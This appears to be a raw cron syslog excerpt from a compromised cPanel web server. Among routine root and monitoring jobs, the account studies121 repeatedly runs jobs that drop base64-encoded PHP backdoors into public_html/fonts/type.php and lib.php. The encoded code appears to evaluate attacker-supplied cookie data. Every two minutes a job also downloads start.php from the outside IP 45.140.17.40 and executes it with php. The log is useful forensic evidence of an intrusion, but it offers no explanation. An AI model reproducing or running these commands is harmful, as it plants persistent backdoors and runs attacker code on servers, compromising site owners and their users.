Sep 20 19:47:02 ip-184-168-122-23 CROND[22016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:47:02 ip-184-168-122-23 CROND[22017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:47:02 ip-184-168-122-23 CROND[22018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:48:01 ip-184-168-122-23 CROND[22194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:48:01 ip-184-168-122-23 CROND[22196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:48:01 ip-184-168-122-23 CROND[22198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:48:01 ip-184-168-122-23 CROND[22197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:48:01 ip-184-168-122-23 CROND[22199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:49:01 ip-184-168-122-23 CROND[22456]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 20 19:49:01 ip-184-168-122-23 CROND[22457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:49:02 ip-184-168-122-23 CROND[22458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:49:02 ip-184-168-122-23 CROND[22459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:49:02 ip-184-168-122-23 CROND[22460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:50:01 ip-184-168-122-23 CROND[22668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:50:01 ip-184-168-122-23 CROND[22674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:50:01 ip-184-168-122-23 CROND[22673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 19:51:01 ip-184-168-122-23 CROND[22933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:51:01 ip-184-168-122-23 CROND[22934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:51:01 ip-184-168-122-23 CROND[22935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:51:01 ip-184-168-122-23 CROND[22937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:52:02 ip-184-168-122-23 CROND[23184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:52:02 ip-184-168-122-23 CROND[23187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:52:02 ip-184-168-122-23 CROND[23186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:52:02 ip-184-168-122-23 CROND[23188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:52:02 ip-184-168-122-23 CROND[23185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:53:01 ip-184-168-122-23 CROND[23528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:53:01 ip-184-168-122-23 CROND[23529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:53:01 ip-184-168-122-23 CROND[23531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:53:01 ip-184-168-122-23 CROND[23532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:54:01 ip-184-168-122-23 CROND[23775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:54:01 ip-184-168-122-23 CROND[23777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:54:01 ip-184-168-122-23 CROND[23778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:54:01 ip-184-168-122-23 CROND[23779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:54:01 ip-184-168-122-23 CROND[23780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:55:01 ip-184-168-122-23 CROND[24048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:55:01 ip-184-168-122-23 CROND[24049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:55:01 ip-184-168-122-23 CROND[24051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:55:01 ip-184-168-122-23 CROND[24053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:55:01 ip-184-168-122-23 CROND[24052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:55:01 ip-184-168-122-23 CROND[24054]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:56:01 ip-184-168-122-23 CROND[24320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:56:01 ip-184-168-122-23 CROND[24322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:56:01 ip-184-168-122-23 CROND[24323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:56:01 ip-184-168-122-23 CROND[24324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:56:01 ip-184-168-122-23 CROND[24325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:57:01 ip-184-168-122-23 CROND[24573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:57:01 ip-184-168-122-23 CROND[24574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:57:01 ip-184-168-122-23 CROND[24575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:57:02 ip-184-168-122-23 CROND[24578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:58:01 ip-184-168-122-23 CROND[24896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:58:01 ip-184-168-122-23 CROND[24895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:58:01 ip-184-168-122-23 CROND[24899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:58:01 ip-184-168-122-23 CROND[24900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:58:01 ip-184-168-122-23 CROND[24901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:59:01 ip-184-168-122-23 CROND[25154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:59:01 ip-184-168-122-23 CROND[25158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
